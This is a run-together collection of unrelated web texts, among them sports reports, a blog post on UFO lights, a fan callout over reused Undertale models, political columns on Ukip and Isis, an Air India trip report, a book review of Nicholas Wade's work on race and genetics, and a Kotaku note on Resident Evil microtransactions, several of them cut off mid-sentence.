Dallas Cowboys and Washington Redskins will all be interested if the Rams decide to deal Foles. Foles Could Benefit From New Team Despite a woeful 69.0 passer rating to go with seven touchdowns and 10 interceptions in 2015, there's reason to believe Foles can get back on track. As recently as 2013, the 27-year-old tossed 27 touchdowns to only two picks playing in Kelly's system. Per Spotrac, the rather club-friendly deal Foles is under in Los Angeles features a mere $1.75 million in salary, which becomes fully guaranteed on March 13. The kicker is the $6 million roster bonus Foles is due if the Rams keep him through March 16. With plenty of size, a nice touch on deep passes and at least some indication from his past he can be a franchise QB, Foles may simply need to have a change of scenery to find his groove. If the Rams do pull off a trade, speculation will persist that they'll draft a signal-caller in the first round of this year's draft. Although L.A. has the 15th overall selection, it has two second-round picks as ammunition to move up and take one of the top prospects.Highbeams Of The Gods: Do UFOs Need Headlights? Enlarge this image Antonio Scorza/AFP/Getty Images Antonio Scorza/AFP/Getty Images Over at the Two-Way a UFO sighting over Colorado has been generating discussion and heat. In looking over the comments a question has come up which really strikes at the heart of the UFO issue. Someone astutely asked something along the lines of "Why do UFOs need headlights?" Yeah. Good point. Are the aliens scared of running into a deer? One of my major beefs with the UFO issue is the discussion always ends up sounding like the script of a (bad) science fiction film. C'mon, why don't the aliens just land on the White House lawn and announce themselves? Because, we are told, they are watching us and taking data. They want to keep their presence hidden so that it doesn't affect our evolution. There is more, but you get the idea. The problem, of course, is that any civilization with technology capable of spanning light-years ought to be able to hide themselves well enough to avoid detection from hairy apes with jet-planes like us. "Lights in the Sky" has been at the root of many UFO sightings. But why would alien spacecraft need lights? If they were really planning interstellar black-ops, then they should paint their spacecraft — you know — black and turn off the damn lights. Yes, of course, it might be their engines but a species crossing trillions of kilometers of empty space is not going to be using rockets. Hopefully they have some other kind of "hyperdrive" or something cool. If so, they should be smart enough to stealth its exhaust (does hyperdrive have exhaust?) I want a Universe populated by intelligence as much as anyone else but, as an astrophysicist, the whole UFO thing leaves me cold. In the end, we are almost always left with lights in the sky and many, many more plausible explanations than alien highbeams.A big to-do about SmashBits Animations 4 months ago now, SmashBits on Youtube started a series in order to cash in on the Undertale craze. If Undertale was Realistic. For a while, I saw it in my recommended, but paid it no mind. It wasn’t long after the video was booming that I got a message from my friend @pipann about how the series was using her Undertale Models. Not only was this done without her permission, but they were monetizing on it through Patreon, and while they gave credit to their animators and voice actors, there wasn’t a single line of credit to be found regarding the modelers and the models SmashBits ripped from the Steam Workshop. Contact was made, disappointment was expressed, and at the end of the day, all that could be offered to Pip and the other model makers was that they would be publicly credited for their work. The project would continue to be funded through Patreon, so the animators and voice actors were still being paid. The modelers were not. This was ignored for the time being. Recently, however, SmashBits got a sponsorship, and have injected a minute long product placement ad into their latest “If Undertale was Realistic” in order to earn even more money through their sponsors on top of revenue from clicks and their Patreon. They were continuing to make even more money off the backs of modelers who’d done the time to sculpt, map, and rig these models that were meant to be used on terms of the modelers (whom mostly allowed these models to be used for fun, not for profit). Through encouragement of myself and others, Pip issued a DMCA and marked all points in the offending videos of the series in which her model(s) were present. She got the attention of one of the partners of SmashBits and they had been in the middle of finding a solution that would make both parties happy. But the moment the head of Smashbits decided to Counter Claim the DMCA, any negotiation went out the window. Pip has attempted to leave comments about the situation on SmashBits’s page, both when the DMCA was first issued, and after the Counter Claim was made. As of now, the comments have been deleted by someone at Smash Bits [Full view] This was to keep the now angry mob that is Smashbit’s fanbase informed as to what was going on in order to keep accusations from flying. But with SmashBits having deleted the comment, their fanbase is left in the dark to continue being angry. I, myself, have also left a comment. [Full View] But lo and behold it is no longer there when I go into Incognito Mode The comments still appear for both myself and Pip due to Youtube’s cache being a bit slow to update for us. But it’s confirmed SmashBits is trying hardcore to cover their ass over the fact that they are making money using assets they have no right to, and even after several people have contacted them angrily about it when it all started, they doubled down to get even MORE money through the sponsorship without having consulted any of the artists. I have even been outright muted to keep from posting any information on their discussion page. They themselves have not made any comment regarding the scenario other than “the videos will be back soon”. I normally am against callout posts, but this is a case where the offending party (Or at least the head of the party) is very much in the wrong, and it needs to be known. The artists are not the bad guys for wanting to be properly respected and to not be seen as just a tool that gives people free assets to make money off of. Smash Bits does not deserve to go unscathed from this. Spread the word. Inform the fanbase of the hacks they actually art. At least until they either fully demonetize the projects in which they do not own all of the assets to, or they hire artists to make assets specifically for them to use. EDIT This isn’t the first time the head of SmashBits has been doing shady shit either. 3 years ago, he was trying to pay off people to rip assets from League of Legends for him to use for his projects. [Archive.is in case he logs in to remove the thread]BEAVER, Alaska — In a season of short days and long nights, life in this village just below the Arctic Circle hugs tightly around the places of light and warmth, in living rooms by roaring wood stoves or the school gym where a basketball can always be found. About 60 people live here, though the number fluctuates as families move away for a time and then come back — or do not. Insecurity about the future is a constant in remote places like this. In earlier days, residents had to focus on personal survival, getting their families through the hard bite of winter with enough food and fuel. Now, people are more connected to the broader world through jobs and technology, but villages themselves have no such certainty — they can vanish as people drift away, or flee for the opportunity and allure of Anchorage, Fairbanks or points beyond. With new students, a village can cling to school fundingToday, at last, a new leader of the UK Independence party takes over. We have been here before, of course. In October, Diane James resigned from the post, a mere 18 days after her election. The second contest has scarcely been auspicious. A row with a colleague that landed him in hospital for three nights ended the candidacy of Steven Woolfe. Britain's far right in 2016: fractured, unpredictable, dispirited … and violent Read more To compound the impression of fragmentation and irrelevance, the race between the surviving contestants – Paul Nuttall, John Rees-Evans and Suzanne Evans – has been completely overshadowed by Nigel Farage’s bid to become the president-elect’s First Friend. All that schmoozing in Mississippi and Trump Tower has simply strengthened the impression that Ukip is a one-man show whose Elvis has now left the building. So farewell then, Kippers? Mission accomplished, the EU referendum won, time to draw stumps? Not by a long way, I suspect. For more than three decades it has been orthodox to argue that, if a serious new force emerged in British politics, it would mark a coming together of centre right and centre left. The SDP was a failed prototype of this hypothetical movement. Now, the dual impact of Brexit and Labour’s shift to the left has revived speculation about the destiny of those whom Tony Blair, in the current edition of New Statesman, calls the “politically homeless”. But what if the new force in question were not a centrist alliance of Blairites and Tory Remainers but a movement of the populist right? Which is to say, what if Ukip were not facing slow death but a vigorous rebirth? In June, Arron Banks, Ukip’s most generous donor, speculated that it was time to contemplate “a brand new party”. The existing organisation, he continued, “grew so rapidly it had problems with personnel and all sorts of issuesand I believe that could be better tackled with a new party”. Facebook Twitter Pinterest ‘I disagree with practically everything Banks stands for, but it is foolish to deny that he is an extremely canny operator.’ In the wake of Trump’s victory, I hear fresh whispers that such a blueprint is under consideration by those plotting the future of the radical right. The old, Farage-led Ukip might be to the new model what the Tea party was to the Trump campaign. I disagree with practically everything Banks stands for, but it is foolish to deny that he is an extremely canny operator. Whether the new movement was still called Ukip or was rebranded to fit transformed political times is not the most important point. What matters is that those who have steered Ukip through the Farage years have now identified a fresh context in which to reorganise and flourish. Implausible? According to one Tory veteran: “All it would take is a charismatic young leader – probably a future Conservative defector.” And let us be frank: if Trump’s victory has a single political lesson it is that anything is now possible. This context of limitless uncertainty has arisen for reasons that are as profound as they are unsettling. The old categories we deployed to explain and frame politics are no longer sufficient, and in many cases obsolete. Recent focus groups in working-class constituencies suggest that many voters no longer self-identify as “left” or “right” but – with respect to Brexit – “in” or “out”. Likewise, the east-west divide that defined the cold war era and divided the world is yielding place to a quite different breach between nationalist-traditionalist and internationalist-pluralist. In this 21st-century confrontation, Trump’s America and Vladimir Putin’s Russia will be on the same side. With unnerving speed, authoritarianism, allied to the ugliest forms of populist bigotry, is sweeping the free world. Today’s joke candidate is tomorrow’s commander-in-chief. Marine Le Pen may not win the French presidency, but she looms over the election with even greater menace than her father, Jean-Marie, did in 2002. Angela Merkel, running for a fourth term, faces serious opposition from the nationalist right in Germany. It’s a trend that’s unmistakable, and its roots are deep. Blair is right to say that globalisation is “a force essentially driven by people, by technological change”. But that, in itself, is no comfort to those who feel abandoned by this force, its impact perceived to be as inequitable as it is brutal. Those who have drilled down into this sulphurous clay discover structural challenges that have barely been acknowledged, let alone answered. Martin Ford’s The Rise of the Robots envisages a world in which education, still desirable as a civilising force, will not be able to keep pace with job-destroying automation – compelling the state to pay all citizens a basic income. Facebook Twitter Pinterest Marine Le Pen looms over French politics even more than her father did in 2002. Photograph: Martin Bureau/AFP/Getty Images Yuval Noah Harari’s remarkable new book, Homo Deus, goes even further, anticipating the replacement of professional as well as semi-skilled labour by “highly intelligent algorithms”. Especially chilling is Harari’s forecast that humanity will bifurcate into “an algorithmic upper class owning most of our planet” and “a new massive class: people devoid of any economic, political or even artistic value”. Cheerful, eh? These prophecies may not be realised. The point is that a persuasive counter-narrative is conspicuously absent from mainstream politics. Whatever you think of Blair, do not despise his efforts to plug the gap, in the work of his new institute and the network he hopes it will spawn. If those who oppose the nationalist right fail to collaborate, the other side will win by default, exploiting the voters’ fears, blaming it all on migrants, feminists and ethnic minorities. The stakes are vertiginously high.“Of course, history has a direction,” says Blair. On this question he is quite wrong, as the unfolding drama of 2016 has shown with ferocious clarity. It is precisely because history has no predetermined trajectory that the far Right is in the ascendant. Which is also why Blair’s own instinct tells him, correctly, that it is time to return for perhaps the toughest battle of all.Dec 8, 2013; New Orleans, LA, USA; New Orleans Saints tight end Jimmy Graham (80) is congratulated by quarterback Drew Brees (9) after a touchdown in the second quarter at Mercedes-Benz Superdome. Mandatory Credit: Crystal LoGiudice-USA TODAY Sports Editor’s note: This is a guest post from Kevin Roberts. You can follow the Fantasy Football Overdose Google+ Page, and for more New Orleans Saints analysis, visit Fantasy Football Overdose, a fantasy football blog. I’d like to personally thank Kevin for his willingness to help us out! Networking is always outstanding! Thanks! Saints Evolution of Their Pass Happy Offense Don’t look now, but the New Orleans Saints you have grown to know and love just might be dying off. While the franchised Jimmy Graham is very unlikely to be playing elsewhere anytime soon, the trade of running back Darren Sproles and cutting of slot wide receiver Lance Moore just might be a sign of things to come. Specifically, the pass-happy Saints might just scale it back a bit and leave all of those stat-stuffing numbers for someone else to chase after. That’s right, if all of these signs tell us what they seem to be telling us, New Orleans just might start to get a little boring in 2014. That should be completely fine with Saints fans, though. It’s a notion that isn’t immediately welcomed with praise and excitement, of course. After all, New Orleans reached and won it’s first Super Bowl on the coattails of Brees and an exciting passing attack – one that has produced eight consecutive 4,300+ passing yardage seasons (including four over 5,000). That’s what passing 630+ times six of the last eight years will do for you, especially when you have an array of explosive and versatile weapons to throw to. However, that strategy has only gotten New Orleans to one Super Bowl, while the team has otherwise struggled to produce consistently in the playoffs beyond that one magical run. In fact, they found it particularly tough last year on the road in Seattle, against the eventual Super Bowl champion Seahawks. Ironically, the Saints actually leaned on their rushing attack in the playoffs and got some solid production out of former first round pick Mark Ingram and undrafted stud, Khiry Robinson. Perhaps that got head coach Sean Payton to thinking this could be something the Saints do more often. Better yet, being more balanced could simply become their offensive strategy. While the Saints have always ridden the arm of Brees to success over the last eight years, it’s absolutely worth noting that their best season – you know, the one where they won it all – was thanks to a – you guessed it – balanced attack. In fact, that 2009 season is the only season in the Brees/Payton partnership where Brees didn’t top 600 passing attempts. It was Brees’ lowest yardage total as a Saint, as well, but also equated to his second highest completion percentage (70.6%) and lowest interception total in New Orleans (11). Come to think of it, it’s actually somewhat annoying for Saints fans that Payton and co. hadn’t figured this out yet. It’s true that the Saints were among the league’s best on offense anyways and that falling in love with the pass is easy when you’re so good at it. But at some point they needed to realize they needed more balance, and they just didn’t. That is, until last season. Payton publicly noted that the Saints were far too pass-happy in his season away from the league in 2012. He couldn’t have been more right, either, as Brees was under duress almost all of the time and the Saints’ one-dimensional attack led to a career high 670 pass attempts, as well as the second most interceptions he’d thrown as a Saint (19). It also equated to a sub par season and a failure to make the playoffs. That wasn’t going to do for Payton, and Brees’ pass attempts dropped to 650 in 2013, as the Saints got somewhat more balanced. However, with their recent moves, it seems that they’re headed in two directions at the same time: trying to get younger on offense, and even more balanced. There’s no telling exactly what that will wind up meaning for Brees and his numbers or just how balanced the Saints get. After all, no matter how productive Ingram, Robinson or any other Saints back is in 2014, it’s rather unlikely New Orleans suddenly turns into some run-heavy team that rarely uses Brees. With that said, Brees is no young pup. Having just turned 35 in January, it’s entirely possible Brees will begin regressing. While that shouldn’t affect his pocket presence or accuracy for another 2-3 years, it could very well already be taking a little something off of his deep ball. That’s just one more aspect Payton needs to be prepared for, and by changing his offense and weapons to suit a more balanced attack, it’s entirely possible he has that in mind. One other aspect is Brees and the Saints’ inability to be overly effective outside of the Superdome on a consistent basis. They did managed to march into Philadelphia and get a win in the first round of the playoffs last year, but struggled mightily in Seattle both times on the road in 2013. Those two rough efforts may have once again exposed Brees as a better indoor passer, while perhaps showing the world that the Saints in general are more of a finesse team. That can’t be an image Payton wants to project to the rest of the league. In addition to getting tougher, more balanced and less predictable, the quiet changes in New Orleans could also possibly positively impact an improving defense. New Orleans had quite arguably the worst defense ever in 2012, but the addition of aggressive defensive coordinator Rob Ryan and a stellar draft class quickly changed that. During the first half of the year, the Saints were in the top half of the league as an overall defensive unit. However, they dropped off near the end of the year and will be looking to add new pieces and improve even more in 2014. Establishing the run and keeping the offense on the field longer than normal should be a great way to try to accomplish that. Teams like the San Francisco 49ers and the aforementioned Seahawks have become experts in this method – using ball control offense to make their already elite defenses even better. If the Saints can keep their improving defense well rested, they hypothetically should be even better when they end up taking the field. It’s a case of many hypotheticals, though. Payton is such a complex NFL mind that it’s foolish to try to completely figure out what he’s planning. But if we take a close look at the pieces, it looks like we have a pretty good idea as to how everything will fall into place, and if everything fits the way it appears it will, Payton should evolve just as well as he’s dominated over the past eight years. Like Who Dat Dish? Follow us on Facebookshikhargpt SQTalk PPS Club Join Date: 15-Feb-2012 Location: Singapore Posts: 304 Air India Flight 381 (Boeing 787-8): SIN to DEL Background: This is actually a long outstanding report. I flew this back in mid-November, and its been over 2 months. Initially I was quite busy after coming back, and then I just forgot about this. But I was clearing up my PC and found all these pictures that I'd taken for the purpose of doing a TR. So here it is, my first TR. Flight Details Flight Number: AI/AIC 381 Departure Airport: Singapore Changi (SIN, WSSS) Scheduled Time of Departure: 0820 Arrival Airport: Indira Gandhi International, Delhi (DEL, VIDP) Schedule Time of Arrival: 1130 Cabin Class: Y When I booked the flight, the cheapest one available was Air India, plus it was on a 788 (a type I had not flown before). The decision was between SQ and their A388 or AI, and eventually the wallet won out. Unfortunately, AI381 departs at 0820, rather than the 1625 timing of SQ406. This meant, that after coming home at 2230 the previous night, I had to get up by 0500 and be out of the house by 0545. Nothing that I couldn't handle, but it was a Saturday. No fair. Thankfully my seats were booked while purchasing the ticket so I would get my seat of choice even if I was late. The sun rose early that day, preventing me from catching any sleep even if I wanted to. Not that it mattered; my sleep evaporated the moment we left the TPE for the PIE which took us past 02L. Instantly awake. At 0645 in the morning, T2 was pretty quiet, especially the Air India counters. Most of my fellow passengers had checked in hours ago, and were in the waiting area already. No matter though, there wasn't too much luggage and my seat was already booked. It did shorten the time I had to play around in T2 though, but I really love sleep. Once I'd got my boarding pass, I hurried past the immigration counters so as to be able to look at at least some of the Christmas decor before boarding closed. The decorations were really nice, but alas it was time to board very quickly and my gate was at the end of the pier, just before Terminal 1 began. Plus, I wanted to take pictures of the 787 too. When I arrived, I realised that most of the passengers had boarded, so I quickly sent my carry-on for the X-Ray check. Once that was done, I collected my items and whipped out the camera again. There she was. Aircraft Information Registration: VT-ANK Aircraft: Boeing 787-8 Engines: 2x GEnx-1B Config: C18, Y238 Delivered: 19 Dec 2012 Remarks: Charleston built What a beautiful aircraft, though the radome looks awkward on any airline that isn't Nok Air or NokScoot - it looked too much like a beak for my taste. Hurriedly snapping another shot in the morning sun, I proceeded to board the aircraft. The cabin was quite full, and the FAs were ushering people to their seat quickly, so I wasn't able to take any pictures while entering. Once seated, I snapped the customary legroom shot, and there was a lot of it on the 2 year old AI 788. The seats felt plush as well, and the colour scheme was very warm and vibrant. +1 for the interior and seats. After settling down, I turned my attention to the windows which were set at minimum brightness. Really cool technology, which was unfortunately not implemented in the A350. They are much bigger than other widebodies. Unfortunately, the brightness control buttons were rather worn out on my row, though you cannot blame Air India for that. Once the comparison shots were out of the way, I decided to look around. The seat pitch was very generous as well, and the not-so-dense 3-3-3 layout was very welcome too. Continued in the next post (2 of 4) This is actually a long outstanding report. I flew this back in mid-November, and its been over 2 months. Initially I was quite busy after coming back, and then I just forgot about this. But I was clearing up my PC and found all these pictures that I'd taken for the purpose of doing a TR. So here it is, my first TR.When I booked the flight, the cheapest one available was Air India, plus it was on a 788 (a type I had not flown before). The decision was between SQ and their A388 or AI, and eventually the wallet won out. Unfortunately, AI381 departs at 0820, rather than the 1625 timing of SQ406. This meant, that after coming home at 2230 the previous night, I had to get up by 0500 and be out of the house by 0545. Nothing that I couldn't handle, but it was a. No fair. Thankfully my seats were booked while purchasing the ticket so I would get my seat of choice even if I was late.The sun rose early that day, preventing me from catching any sleep even if I wanted to. Not that it mattered; my sleep evaporated the moment we left the TPE for the PIE which took us past 02L. Instantly awake.At 0645 in the morning, T2 was pretty quiet, especially the Air India counters. Most of my fellow passengers had checked in hours ago, and were in the waiting area already. No matter though, there wasn't too much luggage and my seat was already booked. It did shorten the time I had to play around in T2 though, but I really love sleep.Once I'd got my boarding pass, I hurried past the immigration counters so as to be able to look at at least some of the Christmas decor before boarding closed.The decorations were really nice, but alas it was time to board very quickly and my gate was at the end of the pier, just before Terminal 1 began. Plus, I wanted to take pictures of the 787 too.When I arrived, I realised that most of the passengers had boarded, so I quickly sent my carry-on for the X-Ray check. Once that was done, I collected my items and whipped out the camera again. There she was.What a beautiful aircraft, though the radome looks awkward on any airline that isn't Nok Air or NokScoot - it looked too much like a beak for my taste.Hurriedly snapping another shot in the morning sun, I proceeded to board the aircraft.The cabin was quite full, and the FAs were ushering people to their seat quickly, so I wasn't able to take any pictures while entering.Once seated, I snapped the customary legroom shot, and there was a lot of it on the 2 year old AI 788. The seats felt plush as well, and the colour scheme was very warm and vibrant. +1 for the interior and seats.After settling down, I turned my attention to the windows which were set at minimum brightness. Really cool technology, which was unfortunately not implemented in the A350. They are much bigger than other widebodies.Unfortunately, the brightness control buttons were rather worn out on my row, though you cannot blame Air India for that. Once the comparison shots were out of the way, I decided to look around.The seat pitch was very generous as well, and the not-so-dense 3-3-3 layout was very welcome too. Last edited by shikhargpt; 27th January 2015 at 06:55 AM..Nicholas Wade, a leading science writer whose specialty is human evolution, likes to ask interesting questions. Here are some examples: Why has the West been the most exploratory and innovative civilization in the world for the past 500 years? Why are Jews of European descent so massively overrepresented among the top achievers in the arts and sciences? Story continues below advertisement Why is the Chinese diaspora successful all around the world? Why is it so difficult to modernize tribal societies? Why has economic development been so slow in Africa? Contemporary thinkers have offered lots of provocative answers for such questions. It's all about geography. Or institutions. Or rice culture. Or the devastating legacy of colonialism. Or Jewish mothers. Now comes another explanation, one that bravely explores the highly dangerous elephant in the room. Mr. Wade argues that human history has also been profoundly influenced by genetics. Part of his new book, A Troublesome Inheritance: Genes, Race and Human History, is a summary of new findings in genetic science, and part of it is highly speculative. All of it is bound to be deeply unpopular among social scientists, because it challenges their entrenched belief that race is nothing more than a social construct. The wide diversity in human societies around the world can be explained entirely by culture, they insist. We're all the same under the skin. Except we're not quite. Since the sequencing of the human genome in 2003, evidence of subtle genetic differences has been piling up. As our ancestors branched out of Africa, different groups of people evolved in slightly different ways to adapt to local conditions. The most successful of those people passed on their adaptations to their offspring. The variations in human DNA correspond quite precisely to what we think of as the major races. They are associated not just with differences in hair and skin colour, but also with a range of other physical and (probably) behavioural traits. Another astonishing fact is that 14 per cent of the human genome has been under natural selection strong enough to be detectable. The evidence also shows that evolution can proceed remarkably quickly, and has never stopped. (The Tibetan adaptation to high altitudes is just 3,000 years old.) "Human evolution has been recent, copious and regional," Mr. Wade says in his book. Mr. Wade knows he may be stepping on a land mine. In the not so distant past, ideas about racial difference have been used to justify everything from slavery to extermination. A lot of people think it's safer to deny such differences exist. The subject is so taboo that any discussion of racial differences is widely considered tantamount to racism itself. Geographer Jared Diamond (author of Guns, Germs and Steel, which contends that geography explains everything) has said that only people capable of thinking the Earth is flat believe in the existence of human races. So that makes Mr. Wade, who has written for The New York Times for 20 years, either foolhardy or fearless. "The idea that human populations are genetically different from one another has been actively ignored by academics and policy makers for fear that such inquiry might promote racism," he writes. Story continues below advertisement Story continues below advertisement Mr. Wade argues that people the world over are highly similar as individuals. But because of slight but significant evolutionary differences in social behaviour, societies differ widely. The various components of social behaviour are no more exempt from natural selection than hair or skin colour – and are profoundly more critical to human survival. As people migrated out of Africa, this evolution in social behaviour proceeded independently in different parts of the world and shaped many different types of institutions. This thesis has a certain powerful explanatory force. It helps explain why less successful cultures don't simply copy more successful ones. "If the differences between a tribal society and a modern state were purely cultural," he writes, "it should be easy to modernize a tribal society by importing Western institutions." But tribal societies are characterized by strong kinship relations and low levels of trust toward non-kin. Western institutions are characterized by high levels of trust among strangers. Tribal institutions are designed to empower the officeholder and his tribe, while Western institutions are designed to operate in the public interest. These differences are far more than skin deep, and have been shaped by centuries of human evolution. The genetic basis for traits such as trust, conformity and aggression is still opaque. But Mr. Wade is convinced that it was rapid evolution of human nature in England and Northern Europe that paved the way for the ascendance of the West. (This highly original theory was developed by economic historian Gregory Clark in his book A Farewell to Alms.) For a variety of reasons, including brutal population pressures, people developed a cluster of traits – nonviolence, literacy, thrift
Mosul, was captured by Isis, its fighters slaughtered 670 Shia prisoners. At Camp Speicher, outside Tikrit, 800 Shia cadets were lined up in front of trenches and machine-gunned. Pictures of the scene resemble those of atrocities carried out by the German army in Russia in 1941. In August, when Isis fighters stormed into Kurdish-held regions, they targeted the Yazidis as “pagans” to be murdered, raped and enslaved. The Isis advance in Iraq had largely ended by last October. Since then it has retreated, though not very far. Where Shia militias or Kurdish Peshmerga have successfully counter-attacked, the Sunni have generally fled before their towns and villages were recaptured – or they have been subsequently expelled. It is not surprising that the Shia and Kurdish commanders fighting back are not in a forgiving mood. There is an almost universal belief among last year’s victims – be they Shia, Yazidis, Christians or Kurds – that their Sunni Arab neighbours collaborated with Isis. Where Isis is beaten back, the Sunni may hold on to their strongholds where they are the great majority, but where populations are mixed they are likely to be losers. A final ethnic and sectarian shake-out in Iraq seems to be under way. Is the defeat of Isis, and with it the Sunni, inevitable? In the long term it is difficult to see any alternative outcome in Iraq because they make up only a fifth of the population and their more numerous enemies are backed by the US and Iran. The land mass held by Isis may be large, but it was always poor and is becoming more impoverished. There is little electricity. In Mosul, Ahmad, a shopkeeper in the Bab al-Saray area, says: “We are getting only two hours of electricity every four days.” There are private generators, he says, “but since there are no jobs, people have no money to pay their electricity bills or for generator supply services”. This has had the effect of reducing some prices because there is no power for fridges and freezers, meaning food cannot be stored for long. Deteriorating living conditions mean that many want to leave Mosul, but they are prevented by Isis, which does not want to find that its greatest conquest has become a ghost town. In any case, it is not clear where the one million people still in Mosul would go. As the fighting intensifies across Iraq this spring, the Sunni cities and towns are likely to be devastated. Mahmoud may well be right in thinking that the Sunni will be forced to take flight or become a vulnerable minority like the Christians. Even if the government in Baghdad wanted to share power with the Sunni, Isis has ensured through its atrocities that this will be near impossible. For its part, Isis has been raising tens of thousands more fighters – they may now number well over 100,000 in Iraq and Syria. The so-called Islamic State will not go down without fierce resistance and, if it does fall, the Sunni community will be caught up in its destruction. More Life under Isis reports Further reading Refugees fleeing Isis tell of fears of forced marriages IS 'chemical weapon' attacks probed Anonymous releases list of Isis-linked Twitter accounts, asks social network to remove users Isis has built a global brand using celebrity and social media John Pilger: Why the rise of fascism is again the issue There's nothing 'Islamic' about Isis: The Koran, whose message Isis butcher at every turn, instructs Muslims to protect the religious freedoms of others Robert Fisk: Isis? Islamic State? Daesh? Who exactly is the greatest threat to civilisation? Forget Isis... explosion of violence across the Middle East down to West's desire to weaken Arab armies, says Syrian adviser Isis in Syria: A general reveals the lack of communication with the US - and his country's awkward relationship with their allies-by-default Syrian army leaders'slaughtered' as Isis and Nusra Front militants storm Idlib Turkey accused of colluding with Isis to oppose Syrian Kurds and Assad following surprise release of 49 hostages CIA, MI6 and Turkey's rogue game in Syria: New claims say Ankara worked with the US and Britain to smuggle Gaddafi's weapons to jihadi fighters Fear of Isis is producing strange bedfellows across the Middle East Isis campaign: Bingo! Here’s another force of evil to be ‘vanquished’ Islamic State: Saudi Arabia's oil wells are the ultimate goal for Isis How Saudi Arabia helped Isis take over the north of Iraq Iraq crisis: Sunni caliphate has been bankrolled by Saudi Arabia War with Isis: If Saudi Arabia isn't fuelling the militant inferno, who is? Belfast Telegraph DigitalLorenzo Costantini has left the UCF football staff and will join Georgia Southern's staff as the defensive coordinator. Costantini served two stints as an assistant coach with the Knights from 2000-03 and again from 2013-15. He will join his former colleague Tyson Summers, who served as UCF's defensive coordinator before departing in 2014. Summers was recently named head coach at Georgia Southern, replacing Willie Fritz. Costantini's hire was first reported by footballscoop.com. UCF's new coach Scott Frost is still working to complete his assistant coaching staff since being named head coach Dec. 1. He recently flew back to his home in Oregon to complete his move to Orlando and could finish assembling his staff as early as this week. So far, Frost hired three assistant coaches in quarterbacks coach Mario Verduzco and former Colorado receivers coach Troy Walters and Northeastern Oklahoma A&M college head coach Ryan Held. Last season's receivers coach Sean Beckton and cornerbacks coach Travis Fisher are still currently on the UCF staff. E-mail Shannon Green at sgreen@orlandosentinel.com. Follow her on Twitter at @osknights.Reading through the addendum to Sen. Bob Corker's financial disclosure, you might think the Tennessee Republican had been seriously misreporting assets and income. But the reality might more underscore the shortfalls of the system. When Roll Call calculates the 50 richest members of Congress each year, the minimum net worth figures are based on the asset and liability sections of their financial disclosures, which allow for broad ranges for values that often do not give a precise representation, especially for the holdings of wealthier members. The amendment the Tennessee Republican filed on Dec. 11 would not change his position on the current list, where he ranks 23rd. But it does change his minimum net worth. "I am extremely disappointed in the filing errors that were made in earlier financial disclosure reports, and after completing a full, third-party review, we have corrected this oversight," Corker said in a statement. David Hawkings’ Whiteboard: Wealth of Congress But for some government watchdog groups, this incident raises questions about what led to the discrepancies on Corker's reports in the first place, and points to broader problems within the disclosure and congressional ethics process. In 2007, Ken Boehm, chairman of the National Legal and Policy Center, co-wrote a letter to congressional leaders calling for changes to the financial disclosure process, including narrowing or eliminating the form's value ranges. "It’s important to know how much it was because that describes how big the possible offense was," said Boehm, pointing to the broad ranges for both assets and incomes used in the current disclosure process. Groups can call for new rules, Boehm said, but that won't make a difference unless the Ethics Committee enforces them. "If these ethics rules pertaining to financial disclosure reports are not enforced by the House and Senate Ethics Committees, respectively, then I still think you’re going to end up with a very weak record in terms of members of Congress who are inclined to break the rules," Boehm said. Corker's new disclosure revises upward the value of the Corker Development Corporation, an umbrella for the senator's longtime real estate investments, from a range of $1,001 to $15,000 to a range of $500,001 to $1 million. But there are some countervailing reductions elsewhere in the documentation. Corker retained a third-party accountant to review his financial disclosures for his entire Senate tenure after The Wall Street Journal began questioning the senator's reporting of income, particularly in hedge funds, going beyond what might have been required to clean up the original discrepancies. The Journal also pointed to apparent discrepancies in reporting income from investments. In the financial disclosure report amendments, Corker said the discrepancies resulted from mistakes by an accounting firm that was putting together the reports. But Boehm said ultimately the member is responsible. "The rule is if you sign one of those forms, you take responsibility for the correctness or lack of correctness," he said. "One has to wonder, how did Corker make such a grave mistake?" asked Craig Holman, a lobbyist with Public Citizen who helped draft the the 2007 Honest Leadership and Open Government Act. "I understand minor reporting problems but we’re talking millions and millions of dollars from questionable sources." Holman said the Corker incident also demonstrates that the Senate Ethics Committee does not closely examine financial reports, and just gives them a "rubber stamp." "It shows that the Ethics Committee isn’t stepping up to the plate in ensuring that the disclosures are accurate and full," Holman said. "Had it not been for The Wall Street Journal doing its own independent investigation, we’d still be left with inaccurate records from Corker." Holman called for an office similar to the House's "Office of Congressional Ethics," which is not made up of lawmakers, and, he argued, can operate more independently. The Senate does not have a similar office. Holman said members of Congress are less inclined to police themselves, so they need an independent body to step in. A spokeswoman for Ethics Chairman Johnny Isakson, R-Ga., referred Roll Call to the Ethics Committee, which did not respond to a request for information about the Corker case. See photos, follies, HOH Hits and Misses and more at Roll Call's new video site. NEW! Download the Roll Call app for the best coverage of people, politics and personalities of Capitol Hill.This morning, the web exploded with rumors that the next Resident Evil game will charge you to continue the game after death, thanks to reports from media outlets at a press event in Spain today. "Capcom to charge money for continues in Resident Evil Revelations 2?" asked a NeoGAF thread. "They were just revealed at the Spanish presentation event. You have to pay to continue if they kill you mid-chapter, if not you have to start that chapter again from the start." Reddit echoed the same question, wondering if the overseas reports were true. Given Capcom's history of customer-unfriendly decisions regarding DLC and payment schemes, everyone assumed the worst of the upcoming Revelations 2, an episodic game that will begin launching for multiple platforms this February. So we reached out to Capcom for clarification just to see if something was getting lost in translation here, and sure enough, reality isn't all that bad—at least according to Capcom's PR folks. Two important points: 1) These microtransactions are only part of the optional Raid Mode—not the main story. "There are no micro-transactions within the main campaign," a Capcom PR representative tells Kotaku. Advertisement 2) There are other options. Says Capcom PR: Regarding your question, players can use "life crystals" when playing through Raid mode in Revelations 2. The crystals essentially act as continues (re spawns) in Raid mode when players die. Blue life crystals can be earned through playing daily missions and red life crystals can be bought. The two crystals act the same, but there's an option to buy if players run out of blue (earned) crystals or don't want to spend the time earning them. If players have both blue and red crystals, the game will prioritize the blue crystals over the red ones. Again, these are only used in Raid mode and not in the main campaign. In short: yes, Resident Evil Revelations 2 will have microtransactions; no, they probably won't ruin the main game. Of course, it's worth noting that the whole game will be sold piecemeal, with the whole thing running $25 digitally and $40 for a disc. You can read the full breakdown over on Capcom's blog. Advertisement You can reach the author of this post at jason@kotaku.com or on Twitter at @jasonschreier.McKat75, Does some good, but limited I love the idea of this app- help a charity out just by donating photos. I'm able to do some good AND it helps me to focus each day on the good things around me. Truth is, I was thinking about giving the app 2 stars because of how things have turned out. And I wish I could give it 5 stars because it does do some good. Why the 3 stars? Because I check in every day and almost every day it's the same- take today for example- there are 10 causes listed. But only 1 of them actually donates money to a charity when you donate your photo. The rest are all "join the movement" type of deals. And the 1 cause that my photo would 